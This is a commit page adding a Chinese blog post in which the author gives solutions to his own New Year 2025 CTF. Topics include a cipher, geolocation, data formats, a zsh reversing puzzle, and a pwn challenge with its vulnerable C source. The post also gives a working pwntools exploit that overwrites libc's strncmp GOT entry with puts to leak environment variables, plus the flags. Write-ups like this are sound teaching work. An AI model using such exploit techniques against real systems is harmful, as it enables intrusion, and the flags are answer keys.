Skip to content

Commit 1483e58

Browse files
committed
add RocketCup2025
1 parent 7d20791 commit 1483e58

File tree

6 files changed

+393
-0
lines changed

6 files changed

+393
-0
lines changed
+393
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,393 @@
1+
---
2+
title: 2025 新年火箭杯
3+
date: 2025/02/13 14:29:00
4+
updated: 2025/02/13 18:45:00
5+
tags:
6+
- challenge author
7+
- got-hijack
8+
- libc-hook
9+
- multi-directions
10+
thumbnail: /assets/trueblog/newyear2025/banner.png
11+
excerpt: 去年除夕就搞了“第一届火箭杯”,今年新一届来了!奖金加码到300元,题目增加一题,还搭建了专用平台(虽然没什么人做)。一起来看看平台搭建和题目详解吧
12+
---
13+
14+
去年整了4题,在qq上分发,总共发了200。今年赚了点米,奖金加到了300元,还专门开设了新平台,
15+
由于难度有所上浮,大家做的积极性并不高,不过至少每个方向都有人出。
16+
17+
{% note green fa-arrow-up-right-from-square %}
18+
现在就可以访问: https://newyear.rocketma.dev
19+
{% endnote %}
20+
21+
## 手搓平台
22+
23+
既然是如此小型的比赛,自不必使用ctfd等大型平台。为了顺便了解一点前端的知识,
24+
我自己用Flask手搓了一个平台。在使用qwen2.5生成一段起始html后,我就开始自己探索,
25+
完成了剩下网页的构建。我总共花了2天时间来手搓,不得不说,相比以前,有了llm后,
26+
ai写参考代码方便了很多。
27+
28+
{% note blue fa-warehouse %}
29+
webui现已开源: https://github.com/RocketMaDev/RocketCup2025WebUI
30+
{% endnote %}
31+
32+
边学边写,我自学了一部分css和js,对于弹窗,采用了js动态注入的方式,同时界面做了一定程度的美化,
33+
看起来应该是比较现代化的。虽然比不过ret2shell等大型平台,但是对于过年小比赛,flag固定的情况来说,
34+
差不多是够用了。REST API部分全部采用GET,基本上遍历了所有情况,不会出什么bug。
35+
36+
最后部署,使用`gunicorn`来分发flask服务,搭建在本机上,通过nginx做反向代理,
37+
绑定到机器的443端口。1Panel确实好用,通过web前端可以很方便地设置let's encrypt的证书,
38+
查看web日志,设置防火墙规则什么的。
39+
40+
{% note yellow fa-circle-exclamation %}
41+
`torus`**MyFonts** 上的专有字体,虽然osu中有用到,但是我没有版权来分发,
42+
因此仓库中没有包含。
43+
{% endnote %}
44+
45+
## 题解
46+
47+
所有的附件可以在[平台仓库的Releases](https://github.com/RocketMaDev/RocketCup2025WebUI/releases/tag/release)
48+
中找到
49+
### 你的第一个红包!
50+
51+
> NWERFnen0es4yEYA{3cEcd1Es}
52+
53+
看起来像是栅栏编码,一把梭
54+
55+
![fence](/assets/trueblog/newyear2025/fence.png)
56+
57+
{% note default fa-flag %}
58+
`NEWYEAR{F3nceEnc0de1sE4sy}`
59+
{% endnote %}
60+
61+
### find $(pwd)
62+
63+
> 下载图片,看看我是从哪里拍的?(不是在拍哪)
64+
> flag提交格式:`NEWYEAR{str(sha256(f"{经度:.2f},{纬度:.2f}"))[:18]}`
65+
66+
{% folding grey::照片 %}
67+
![](/assets/trueblog/newyear2025/img.jpg)
68+
{% endfolding %}
69+
70+
这张照片拍的是西湖旁边的八卦田,将照片对着地图摆一摆可以推测出我是从其西北处的山上拍的,
71+
在山坡上取一个方便拍照的地,坐标大约是`120.14,30.21`,因此计算其sha256得到flag。
72+
73+
<img src="/assets/trueblog/newyear2025/position.png" height="70%" width="70%">
74+
75+
{% note default fa-flag %}
76+
`NEWYEAR{2b699aff46606103b4}`
77+
{% endnote %}
78+
79+
### unpacker
80+
81+
> 真有这么多数据交换格式?
82+
> 找出压缩包中1234文件分别对应的格式,从其中文维基百科页面提取url的最后一个字段,
83+
> 并用空格拼接起来,sha256后得到flag。
84+
> 例如:1234分别对应w x y z,w的维基url是https://zh.wikipedia.org/wiki/W ,那么取W。
85+
> w x y z最后得到W X Y Z,使用`sha256(['W', 'X', 'Y', 'Z'].join(' '))[:18]`包上
86+
> `newyear{}`后得到flag。
87+
88+
没啥好说的,就是认格式。从1到4分别是avro, bson, msgpack, protobuf。
89+
计算`sha256('Apache_Avro BSON MessagePack Protocol_Buffers')`
90+
91+
{% note default fa-flag %}
92+
`NEWYEAR{459794aa79b251ddd8}`
93+
{% endnote %}
94+
95+
### crackZsh
96+
97+
> 去年是bash脚本逆向,今年zsh脚本卷土重来!
98+
99+
为了方便调试,可以把`verify`中用来处理异常的大括号去掉,然后在发生错误时,
100+
把return码修改方便trace,这样就可以很方便地定位验证进度。
101+
以下是还原后的脚本与配套的解释,可以看出渐进式验证flag的过程。
102+
103+
其中`typeset -A arr`的作用是将其类型设为哈希表。其他的zsh特性可以查阅
104+
[zshguide](https://github.com/goreliu/zshguide)
105+
106+
```zsh restored.zsh
107+
#!/bin/zsh
108+
109+
print Input your flag to get your red envelop!
110+
read FLAG
111+
112+
verify() {
113+
typeset -A arr
114+
FLAG=$1
115+
# 限定flag长度和起始、末尾
116+
if [[ $#FLAG -ne 27 ]] || [[ $FLAG[1,8] != "NEWYEAR{" ]] || [[ $FLAG[-1] != "}" ]] {
117+
return 1
118+
}
119+
# NEWYEAR{xxxxxxxxxxxxxxxxxx}
120+
# date的第6个词是2025,因此第一个字符为2
121+
tmp=$FLAG[9]
122+
param=$(printf '{print $%d}' $(($tmp+4)))
123+
if [[ $(LC_ALL=C date | awk $param) != "2025" ]] {
124+
return 2
125+
}
126+
# NEWYEAR{2xxxxxxxxxxxxxxxxx}
127+
# 读入当前脚本的内容到buf中,寻找第9字符处的2个字符,即sh
128+
buf=$(<$2)
129+
if [[ $buf[(i)$FLAG[10,11]] -ne 9 ]] {
130+
return 3
131+
}
132+
# NEWYEAR{2shxxxxxxxxxxxxxxx}
133+
# 第12字符处为3
134+
if [[ $FLAG[$((10 + $tmp))] -ne $(($tmp + 1)) ]] {
135+
return 4
136+
}
137+
# NEWYEAR{2sh3xxxxxxxxxxxxxx}
138+
# 查表得原始字符串为"Ll",由于有"C",因此原先可能是ll,由md5sum可以验证
139+
arr=(L o r e m I p s u m A l i q o a V e l i t x)
140+
buf=${(C)${FLAG[13,14]}}
141+
if [[ "$arr[$buf[1]]$arr[$buf[2]]" != "oi" ]] || [[ $(print $FLAG[13,14] | md5sum | cut -c -5) != "243c4" ]] {
142+
return 5
143+
}
144+
# NEWYEAR{2sh3llxxxxxxxxxxxx}
145+
# 第15字符处的码位为95,即_
146+
if [[ $(python -c "print(ord('$FLAG[15]'))") -ne 95 ]] {
147+
return 6
148+
}
149+
# NEWYEAR{2sh3ll_xxxxxxxxxxx}
150+
# (?? << 2) - 289 == 95,推断出原来是96
151+
buf=$(($FLAG[16,17] << $tmp))
152+
if [[ $(python -c "print(chr($buf - 289))") != $FLAG[15] ]] {
153+
return 7
154+
}
155+
# NEWYEAR{2sh3ll_96xxxxxxxxx}
156+
# 从"96"处截断后,第3 4字符和"96"等同
157+
buf=$FLAG[16,17]
158+
tmp=${FLAG#*$buf}
159+
if [[ $tmp[3,4] != $buf ]] {
160+
return 8
161+
}
162+
# NEWYEAR{2sh3ll_96xx96xxxxx}
163+
# hex(96 + 96) => 16#C0,取3 4字符小写为c0
164+
buf=$(([#16] $(($FLAG[16,17] + $FLAG[20,21]))))
165+
tmp=${buf:l}
166+
if [[ $tmp[4,5] != $FLAG[18,19] ]] {
167+
return 9
168+
}
169+
# NEWYEAR{2sh3ll_96c096xxxxx}
170+
# 将22 23字符视为次数,重复向buf附加3个字符,根据buf长度穷举爆破,推得buf长度为45,即这两个字符为15
171+
buf=
172+
repeat $FLAG[22,23] {
173+
buf+=$FLAG[24,26]
174+
}
175+
if [[ $(print $#buf | sha256sum | cut -c -5) != "42000" ]] {
176+
return 10
177+
}
178+
# NEWYEAR{2sh3ll_96c09615xxx}
179+
# 将buf中所有da替换为ad,要求前6个字符为_dca__,在变换前就是d_c_a_,因为字符按3个一组是不断重复的,因此这6个字符就是dacdac
180+
buf=${buf//da/ad}
181+
if [[ $buf[2,4] != "dca" ]] {
182+
return 11
183+
}
184+
# NEWYEAR{2sh3ll_96c09615dac}
185+
return 0
186+
}
187+
188+
verify $FLAG $0
189+
err=$?
190+
if [[ $err -eq 0 ]] {
191+
print Flag verified, congratulations!
192+
} else {
193+
print Incorrect flag: $err
194+
}
195+
```
196+
197+
{% note green fa-heart %}
198+
本题只有 *mantle* 做出,太强了!
199+
{% endnote %}
200+
201+
{% note default fa-flag %}
202+
`NEWYEAR{2sh3ll_96c09615dac}`
203+
{% endnote %}
204+
205+
### put?env!
206+
207+
> Flag放在环境变量里,但是要被覆写了😨
208+
> 沙箱中除了read和write以外的系统调用,都只是为了让程序不似,不是用来利用的
209+
> libc是2.35-0ubuntu3.8_amd64
210+
> nc newyear.rocketma.dev 1337
211+
212+
{% folding purple::题目源码 %}
213+
```c putenv.c
214+
#include <stdlib.h>
215+
#include <stdbool.h>
216+
#include <stdio.h>
217+
#include <seccomp.h>
218+
219+
void sandbox(void) {
220+
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
221+
if (!ctx)
222+
goto kill;
223+
int rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
224+
if (rc < 0)
225+
goto kill;
226+
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
227+
if (rc < 0)
228+
goto kill;
229+
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
230+
if (rc < 0)
231+
goto kill;
232+
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
233+
if (rc < 0)
234+
goto kill;
235+
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);
236+
if (rc < 0)
237+
goto kill;
238+
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0);
239+
if (rc < 0)
240+
goto kill;
241+
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(newfstatat), 0);
242+
if (rc < 0)
243+
goto kill;
244+
rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
245+
if (rc < 0)
246+
goto kill;
247+
rc = seccomp_load(ctx);
248+
if (rc < 0)
249+
goto kill;
250+
return;
251+
kill:
252+
exit(-1);
253+
}
254+
255+
int main(void) {
256+
setbuf(stdout, NULL);
257+
unsigned long arr[3] = {0x2025, 0x6666, 0x8888};
258+
puts("Happy 2025!");
259+
puts("You got one chance to set value");
260+
long recv = 0;
261+
bool done = false;
262+
sandbox();
263+
do {
264+
puts("Which to set?");
265+
printf("IDX > ");
266+
int err = scanf("%ld", &recv);
267+
while (getchar() != '\n');
268+
if (!err)
269+
continue;
270+
if (recv >= 3)
271+
puts("No way!!");
272+
else {
273+
printf("Is this what you want? %#lx\n", arr[recv]);
274+
printf("[Y/n] ");
275+
int ch = getchar();
276+
if (ch == '\n' || (getchar(), ch == 'y'))
277+
done = true;
278+
}
279+
} while (!done);
280+
done = false;
281+
do {
282+
puts("Tell me what you want");
283+
printf("VAL > ");
284+
int err = scanf("%ld", arr + recv);
285+
if (!err) {
286+
while (getchar() != '\n');
287+
continue;
288+
}
289+
done = true;
290+
} while (!done);
291+
puts("Now the FLAG is gone!");
292+
setenv("FLAG", "", 1);
293+
return 0;
294+
}
295+
```
296+
{% endfolding %}
297+
298+
保护全开,64位。由于libc是2.35,因此got表可写。这道题的出题思路其实来源于今年强网杯,
299+
看狼组的wp时发现有非预期可以读环境变量。查看源码可知,`setenv`调用`__add_to_environ`
300+
而在`__add_to_environ`中,有一个遍历所有环境变量的地方:
301+
302+
```c stdlib/setenv.c
303+
ep = __environ;
304+
305+
size = 0;
306+
if (ep != NULL)
307+
{
308+
for (; *ep != NULL; ++ep)
309+
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
310+
break;
311+
else
312+
++size;
313+
}
314+
```
315+
316+
在这个地方不难看出所有环境变量都会经历一遍`strncmp`,并且第一个参数恰好是环境变量字符串。
317+
不难想到,如果把`strncmp`的got绑定到`puts`,就可以泄露所有环境变量。由于`puts`
318+
的返回值是打印的字符数,因此不会出现进入&&分支。
319+
320+
因为我禁用了几乎所有系统调用,并且只能写一个QWORD,所以大概没有什么非预期,
321+
直到 *山西小嫦娥* 来向我反馈。
322+
323+
{% note green fa-heart %}
324+
感谢 *山西小嫦娥* 的反馈!
325+
{% endnote %}
326+
327+
由于指针是无符号数,而输入时`recv`需要乘以8才会与指针相加,因此完全可以通过控制输入,
328+
使得`recv * 8`为大于3的正数,从而实现环境变量区的任意读。于是我加了以下这一条patch
329+
来使得这个trick也不能通过检查。
330+
331+
```diff fix-wrap-arround.patch
332+
--- putenv.c
333+
+++ putenv.c
334+
@@ -56,3 +56,3 @@
335+
continue;
336+
- if (recv >= 3)
337+
+ if (recv >= 3 || arr + recv > arr + 3)
338+
puts("No way!!");
339+
```
340+
341+
{% note blue fa-face-sad-tear %}
342+
然而,我在重新编译程序后,确实更新了xinetd服务的二进制,却忘记更新web服务分发的二进制。
343+
也就是说,修补后网页上分发的程序和实际跑的程序并不是同一个,并且相关的偏移也变了,
344+
因此写出“正确”的脚本也有可能打不通,向大家道歉。
345+
{% endnote %}
346+
347+
最后,解题思路就是从栈上获取libc基址和栈基址,计算得到`libc.got['strncmp']`的位置,
348+
利用唯一的一次修改,将其改为`puts`,这样在`setenv`时就会打印出所有flag。exp:
349+
350+
```python putenv.py
351+
from pwn import *
352+
context.terminal = ['tmux','splitw','-h']
353+
context.arch = 'amd64'
354+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
355+
EXE = './putenv'
356+
357+
def payload(lo: int):
358+
global sh
359+
if lo:
360+
sh = process(EXE)
361+
if lo & 2:
362+
gdb.attach(sh)
363+
else:
364+
sh = remote('newyear.rocketma.dev', 1337)
365+
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
366+
367+
def select(idx: int, goon: bool) -> int:
368+
assert idx < 3
369+
sh.sendlineafter(b'IDX', str(idx).encode())
370+
sh.recvuntil(b'want?')
371+
key = int(sh.recvline(), 16)
372+
sh.sendlineafter(b'Y/n', b'n' if goon else b'y')
373+
return key
374+
375+
libcBase = select(-15, True) - libc.symbols['_IO_2_1_stdout_']
376+
success(GOLD_TEXT(f"Leak libcBase: {libcBase:#x}"))
377+
libc.address = libcBase
378+
379+
arrayBase = select(-6, True) + 8
380+
success(GOLD_TEXT(f"Leak arrayBase: {arrayBase:#x}"))
381+
382+
select((libc.got['strncmp'] - arrayBase) // 8, False)
383+
sh.sendlineafter(b'VAL', str(libc.symbols['puts']).encode())
384+
385+
sh.recvuntil(b'NEWYEAR{')
386+
flag = b'NEWYEAR{' + sh.recvuntil(b'}')
387+
success(f"Flag is: {flag.decode('utf-8')}")
388+
sh.close()
389+
```
390+
391+
{% note default fa-flag %}
392+
![](/assets/trueblog/newyear2025/flag.png)
393+
{% endnote %}
557 KB
Loading
44.7 KB
Loading
84.7 KB
Loading
747 KB
Loading
1.06 MB
Loading

0 commit comments

Comments
 (0)